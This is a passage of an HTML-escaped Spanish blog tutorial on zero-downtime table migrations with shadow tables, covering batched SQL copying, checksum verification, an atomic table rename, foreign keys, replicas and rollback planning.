style=&#34;color:#ff9f43&#34;&gt;10000&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;SET&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;@&lt;/span&gt;min_id &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;SET&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;@&lt;/span&gt;max_id &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; (&lt;span style=&#34;color:#ff6ac1&#34;&gt;SELECT&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;MAX&lt;/span&gt;(id) &lt;span style=&#34;color:#ff6ac1&#34;&gt;FROM&lt;/span&gt; users);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;-- Loop through batches (you&amp;#39;d typically script this)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;WHILE &lt;span style=&#34;color:#ff6ac1&#34;&gt;@&lt;/span&gt;min_id &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;@&lt;/span&gt;max_id &lt;span style=&#34;color:#ff6ac1&#34;&gt;DO&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;INSERT&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;INTO&lt;/span&gt; users_new (id, name, email, created_at, updated_at)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;SELECT&lt;/span&gt; id, name, email, created_at, updated_at&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;FROM&lt;/span&gt; users&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;WHERE&lt;/span&gt; id &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;@&lt;/span&gt;min_id &lt;span style=&#34;color:#ff6ac1&#34;&gt;AND&lt;/span&gt; id &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;@&lt;/span&gt;min_id &lt;span style=&#34;color:#ff6ac1&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;@&lt;/span&gt;batch_size&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;ON&lt;/span&gt; DUPLICATE &lt;span style=&#34;color:#ff6ac1&#34;&gt;KEY&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;UPDATE&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        name &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;VALUES&lt;/span&gt;(name),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        email &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;VALUES&lt;/span&gt;(email),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        updated_at &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;VALUES&lt;/span&gt;(updated_at);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;SET&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;@&lt;/span&gt;min_id &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;@&lt;/span&gt;min_id &lt;span style=&#34;color:#ff6ac1&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;@&lt;/span&gt;batch_size;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;-- Give the database a breather&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;SELECT&lt;/span&gt; SLEEP(&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;.&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;END&lt;/span&gt; WHILE;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;paso-4-verificar-la-coherencia-de-los-datos&#34;&gt;Paso 4: Verificar la coherencia de los datos&lt;/h3&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1751081576/coffee-bytes/shadow-table-copy-compare_2_lzbmok.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1751081576/coffee-bytes/shadow-table-copy-compare_2_lzbmok.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Comparar que los datos sean los mismos en la shadow table&#34; width=&#34;1065&#34; height=&#34;591&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Antes de realizar el cambio, es mejor que te asegures de que todo se ha copiado correctamente:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;-- Check row counts match&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;SELECT&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    (&lt;span style=&#34;color:#ff6ac1&#34;&gt;SELECT&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;COUNT&lt;/span&gt;(&lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt;) &lt;span style=&#34;color:#ff6ac1&#34;&gt;FROM&lt;/span&gt; users) &lt;span style=&#34;color:#ff6ac1&#34;&gt;as&lt;/span&gt; original_count,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    (&lt;span style=&#34;color:#ff6ac1&#34;&gt;SELECT&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;COUNT&lt;/span&gt;(&lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt;) &lt;span style=&#34;color:#ff6ac1&#34;&gt;FROM&lt;/span&gt; users_new) &lt;span style=&#34;color:#ff6ac1&#34;&gt;as&lt;/span&gt; shadow_count;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;-- Check data integrity with checksums&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;SELECT&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    (&lt;span style=&#34;color:#ff6ac1&#34;&gt;SELECT&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;SUM&lt;/span&gt;(CRC32(CONCAT(id, name, email))) &lt;span style=&#34;color:#ff6ac1&#34;&gt;FROM&lt;/span&gt; users) &lt;span style=&#34;color:#ff6ac1&#34;&gt;as&lt;/span&gt; original_checksum,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    (&lt;span style=&#34;color:#ff6ac1&#34;&gt;SELECT&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;SUM&lt;/span&gt;(CRC32(CONCAT(id, name, email))) &lt;span style=&#34;color:#ff6ac1&#34;&gt;FROM&lt;/span&gt; users_new) &lt;span style=&#34;color:#ff6ac1&#34;&gt;as&lt;/span&gt; shadow_checksum;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;-- Spot check some random records&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;SELECT&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;FROM&lt;/span&gt; users &lt;span style=&#34;color:#ff6ac1&#34;&gt;WHERE&lt;/span&gt; id &lt;span style=&#34;color:#ff6ac1&#34;&gt;IN&lt;/span&gt; (&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;1000&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;50000&lt;/span&gt;) &lt;span style=&#34;color:#ff6ac1&#34;&gt;ORDER&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;BY&lt;/span&gt; id;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;SELECT&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;FROM&lt;/span&gt; users_new &lt;span style=&#34;color:#ff6ac1&#34;&gt;WHERE&lt;/span&gt; id &lt;span style=&#34;color:#ff6ac1&#34;&gt;IN&lt;/span&gt; (&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;1000&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;50000&lt;/span&gt;) &lt;span style=&#34;color:#ff6ac1&#34;&gt;ORDER&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;BY&lt;/span&gt; id;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;paso-5-el-gran-cambio&#34;&gt;Paso 5: El gran cambio&lt;/h3&gt;&#xA;&lt;p&gt;Aquí es donde tu ritmo cardíaco se dispara. El intercambio real de tablas debe ser rapidísimo, como una nueva y brillante biblioteca Rust &lt;del&gt;innecesaria&lt;/del&gt;:&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1751081923/coffee-bytes/shadow-table-copy-switch_fck15s.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1751081923/coffee-bytes/shadow-table-copy-switch_fck15s.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Cambio de la tabla antigua a la shadow table&#34; width=&#34;1065&#34; height=&#34;1100&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;-- This should take milliseconds, not minutes&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;START&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;TRANSACTION&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;-- Drop the triggers first (no more syncing needed)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;DROP&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;TRIGGER&lt;/span&gt; users_insert_sync;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;DROP&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;TRIGGER&lt;/span&gt; users_update_sync;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;DROP&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;TRIGGER&lt;/span&gt; users_delete_sync;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;-- Rename tables atomically&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;RENAME&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;TABLE&lt;/span&gt; users &lt;span style=&#34;color:#ff6ac1&#34;&gt;TO&lt;/span&gt; users_old, users_new &lt;span style=&#34;color:#ff6ac1&#34;&gt;TO&lt;/span&gt; users;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;COMMIT&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;paso-6-limpieza-y-verificacion&#34;&gt;Paso 6: Limpieza y verificación&lt;/h3&gt;&#xA;&lt;p&gt;Limpieza y &lt;del&gt;darse cuenta de que todo salió mal&lt;/del&gt; celebrar.&lt;/p&gt;&#xA;&lt;h2 id=&#34;manejo-de-tablas-con-millones-de-qps&#34;&gt;Manejo de tablas con millones de QPS&lt;/h2&gt;&#xA;&lt;p&gt;Para tablas con millones de QPS o &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/software-architecture/como-escalar-django-para-manejar-millones-de-vistas/&#34;&gt;millones de usuarios simultáneos&lt;/a&gt;&#xA;, puedes optar por utilizar una queue (cola) en lugar de escribir directamente.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Utilizar un búfer de escritura&lt;/strong&gt;: Pon en queue cualquier write en Redis/Kafka si la base de datos no puede gestionar las escrituras duales.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1751083242/coffee-bytes/shadow-table-queue_fln9xj.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1751083242/coffee-bytes/shadow-table-queue_fln9xj.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Búfer de escritura para shadow table&#34; width=&#34;1741&#34; height=&#34;584&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;El infierno del mapeo de columnas&lt;/strong&gt; Utiliza vistas para abstraer los cambios de nombre:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;CREATE&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;VIEW&lt;/span&gt; users_combined &lt;span style=&#34;color:#ff6ac1&#34;&gt;AS&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;SELECT&lt;/span&gt; id, COALESCE(new_id, id) &lt;span style=&#34;color:#ff6ac1&#34;&gt;AS&lt;/span&gt; unified_id &lt;span style=&#34;color:#ff6ac1&#34;&gt;FROM&lt;/span&gt; users_new&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;UNION&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;ALL&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;SELECT&lt;/span&gt; id, name &lt;span style=&#34;color:#ff6ac1&#34;&gt;FROM&lt;/span&gt; users &lt;span style=&#34;color:#ff6ac1&#34;&gt;WHERE&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;NOT&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;EXISTS&lt;/span&gt; (...);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;errores-comunes-al-implementar-shadow-tables&#34;&gt;Errores comunes al implementar shadow tables&lt;/h2&gt;&#xA;&lt;p&gt;Permíteme ahorrarte algunos dolores de cabeza compartiendo algunos errores comunes que he visto, leído y cometido:&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Olvidar gestionar las restricciones de claves externas&lt;/strong&gt;: si otras tablas hacen referencia a tu tabla, deberás desactivar temporalmente las comprobaciones de claves externas o gestionar las referencias con cuidado. No lo ignores, la integridad de tus datos depende de ello.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;No probar los triggers (o disparadores) a fondo&lt;/strong&gt;: los triggers pueden fallar silenciosamente o comportarse de forma extraña bajo carga. Pruébalos con volúmenes de datos realistas y operaciones simultáneas antes de pasar a producción.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Subestimar el retraso de sincronización&lt;/strong&gt;: durante los periodos de escritura intensa, tus triggers pueden fallarte. Supervisa el estado de sincronización y prepárate para limitar las escrituras si es necesario.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Supervisión inadecuada&lt;/strong&gt;: Debes estar atento durante el proceso de migración, el retraso de sincronización y cualquier error, no después de que las cosas salgan mal. Implementa la supervisión antes de empezar, no cuando todo se esté desmoronando.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Mala planificación de la rollback&lt;/strong&gt;: Ten siempre un plan B. Si algo sale mal durante el cambio, debes poder revertirlo rápidamente.&lt;/p&gt;&#xA;&lt;h2 id=&#34;manejo-de-shadow-tables-en-sistemas-distribuidos&#34;&gt;Manejo de shadow tables en sistemas distribuidos&lt;/h2&gt;&#xA;&lt;p&gt;Ten en cuenta el descubrimiento de servicios, el agrupamiento de conexiones y la invalidación de caché. Cuando renombres tus tablas, recuerda que todas las instancias de servicio deben conocer el cambio simultáneamente.&lt;/p&gt;&#xA;&lt;p&gt;Esto a menudo significa implementar una estrategia de implementación coordinada en la que se detiene temporalmente el tráfico, se realiza el cambio y, posteriormente, se reinician los servicios.&lt;/p&gt;&#xA;&lt;p&gt;Considera la posibilidad de utilizar indicadores de características, como el que te comenté en mi &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/software-architecture/patrones-de-deployment-o-despliegue-utiles/&#34;&gt;publicación sobre patrones de implementación&lt;/a&gt;&#xA;, para controlar desde qué tabla lee tu aplicación. Esto te permite un control preciso de la migración y permite implementaciones graduales.&lt;/p&gt;&#xA;&lt;h2 id=&#34;bases-de-datos-con-replicas-de-lectura&#34;&gt;Bases de datos con réplicas de lectura&lt;/h2&gt;&#xA;&lt;p&gt;Asegúrate de que tu shadow table se haya replicado completamente antes de realizar el cambio. Supervisa cuidadosamente el retraso en la replicación, ya que el cambio debe realizarse de manera consistente en todas las réplicas.&lt;/p&gt;&#xA;&lt;h2 id=&#34;supervision-del-rendimiento-durante-la-transicion&#34;&gt;Supervisión del rendimiento durante la transición&lt;/h2&gt;&#xA;&lt;p&gt;Al ejecutar la migración, básicamente estás ejecutando dos tablas en paralelo, con su correspondiente uso de E/S, comprueba el uso del disco y supervísalo.&lt;/p&gt;&#xA;&lt;p&gt;Los triggers añaden una sobrecarga a cada operación INSERT, UPDATE y DELETE. Configura alertas para tiempos de ejecución de triggers inusualmente largos.&lt;/p&gt;&#xA;&lt;p&gt;Compara el número de filas entre las tablas originales y las shadow tables durante el proceso. Si la diferencia entre ambas aumenta, es que algo raro está pasando.&lt;/p&gt;&#xA;&lt;h2 id=&#34;manejo-de-constraints-o-restricciones-unicas-y-claves-externas&#34;&gt;Manejo de constraints (o restricciones) únicas y claves externas&lt;/h2&gt;&#xA;&lt;p&gt;En el caso de las constraints únicas, debes asegurarte de que la shadow table mantenga exactamente las mismas garantías de unicidad que la tabla original.&lt;/p&gt;&#xA;&lt;p&gt;Al copiar datos por lotes, utiliza INSERT &amp;hellip; ON DUPLICATE KEY UPDATE o una lógica upsert equivalente para gestionar posibles duplicados, especialmente si tu aplicación sigue escribiendo datos durante la migración.&lt;/p&gt;&#xA;&lt;p&gt;Para las constraints de foreign key, puedes desactivar las comprobaciones durante la migración, pero corres el riesgo de comprometer la integridad de los datos, por lo que siempre hay que sopesar las ventajas y los inconvenientes. Utiliza comprobaciones diferidas (si usas PostgreSQL) o desactiva las comprobaciones de foreign key (MySQL SET FOREIGN_KEY_CHECKS=0).&lt;/p&gt;&#xA;&lt;p&gt;Como alternativa, puedes crear las constraints de foreign key en la shadow table y actualizar las tablas de referencia una vez finalizada la migración principal.&lt;/p&gt;&#xA;&lt;h2 id=&#34;manejo-de-triggers-disparadores-y-procedimientos-almacenados&#34;&gt;Manejo de triggers (disparadores) y procedimientos almacenados&lt;/h2&gt;&#xA;&lt;p&gt;Los triggers y procedimientos almacenados existentes pueden ser un dolor de cabeza&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;En primer lugar, enumera todos los triggers existentes en tu tabla. Deberás recrear estos triggers en la shadow table, pero recuerda que el orden de ejecución es fundamental.&lt;/p&gt;&#xA;&lt;p&gt;Por lo general, &lt;strong&gt;los triggers de sincronización deben ejecutarse en último lugar&lt;/strong&gt;, después de que se hayan ejecutado todos los triggers de lógica empresarial.&lt;/p&gt;&#xA;&lt;p&gt;Los procedimientos almacenados que apuntan a tu tabla deben renombrarse después de la migración. Utiliza sinónimos o vistas para minimizar el número de procedimientos que requieren actualizaciones.&lt;/p&gt;&#xA;&lt;p&gt;Prueba a fondo las interacciones de los desencadenantes en un entorno de prueba para evitar sorpresas indeseadas.&lt;/p&gt;&#xA;&lt;h2 id=&#34;verificacion-de-la-coherencia-de-los-datos-antes-del-cambio&#34;&gt;Verificación de la coherencia de los datos antes del cambio&lt;/h2&gt;&#xA;&lt;p&gt;No te saltes nunca este paso, pase lo que pase.&lt;/p&gt;&#xA;&lt;p&gt;Compara valores agregados como sumas, promedios y recuentos. Utiliza &lt;strong&gt;checksums o hash de tus datos para verificar que los datos coincidan exactamente entre las tablas&lt;/strong&gt;. Las estadísticas son tus aliadas, obtén el número correcto de registros para muestrear y alcanzar un nivel de confianza del 95 %.&lt;/p&gt;&#xA;&lt;p&gt;Crea scripts de comprobación de coherencia automatizados que puedas ejecutar repetidamente durante la migración y que te permitan saber si todo va bien.&lt;/p&gt;&#xA;&lt;p&gt;Las herramientas de suma de comprobación (como &lt;em&gt;pg_checksums&lt;/em&gt; o consultas personalizadas &lt;em&gt;COUNT(&lt;/em&gt;)* + &lt;em&gt;hash_agg()&lt;/em&gt;) son tus aliadas.&lt;/p&gt;&#xA;&lt;h2 id=&#34;el-plan-de-rollback-cuando-todo-se-va-al-carajo&#34;&gt;El plan de rollback (cuando todo se va al carajo)&lt;/h2&gt;&#xA;&lt;p&gt;¿Conoces la ley de Murphy? Entonces ya sabes lo que hay que hacer.&lt;/p&gt;&#xA;&lt;p&gt;La rollback más sencilla es revertir la operación de renombramiento. Mantén tu tabla original como &lt;em&gt;&amp;lt;table_name&amp;gt;_old&lt;/em&gt;, o como quieras, durante el periodo de transición, para poder renombrarla rápidamente si Murphy aparece. Esto debería ser muy rápido.&lt;/p&gt;&#xA;&lt;p&gt;Para reversiones más complejas, es posible que tengas que sincronizar los datos de la shadow table con la original. Considera la posibilidad de mantener los desencadenantes inversos durante el periodo de transición, lo que añade complejidad, pero te dará más opciones disponibles.&lt;/p&gt;&#xA;&lt;p&gt;Cuando la producción está en pleno apogeo, no querrás estar averiguando los comandos de rollback sobre la marcha. Documenta siempre claramente tus procedimientos de rollback y practica en entornos de prueba.&lt;/p&gt;&#xA;&lt;p&gt;Considera la posibilidad de implementar mecanismos de rollback a nivel de aplicación utilizando indicadores de funciones o cambios de configuración. Hablé un poco sobre ellos en mi publicación sobre patrones de implementación. A veces es más rápido volver a dirigir tu aplicación a la tabla antigua que realizar cambios a nivel de la base de datos.&lt;/p&gt;&#xA;&lt;h2 id=&#34;herramientas-que-te-pueden-ayudar&#34;&gt;Herramientas que te pueden ayudar&lt;/h2&gt;&#xA;&lt;p&gt;Hay algunas herramientas que pueden ayudarte a facilitar el proceso de migración de una tabla:&lt;/p&gt;&#xA;&lt;table&gt;&#xA;  &lt;thead&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;th&gt;Herramienta&lt;/th&gt;&#xA;          &lt;th&gt;Ideal para&lt;/th&gt;&#xA;          &lt;th&gt;Característica destacada&lt;/th&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/thead&gt;&#xA;  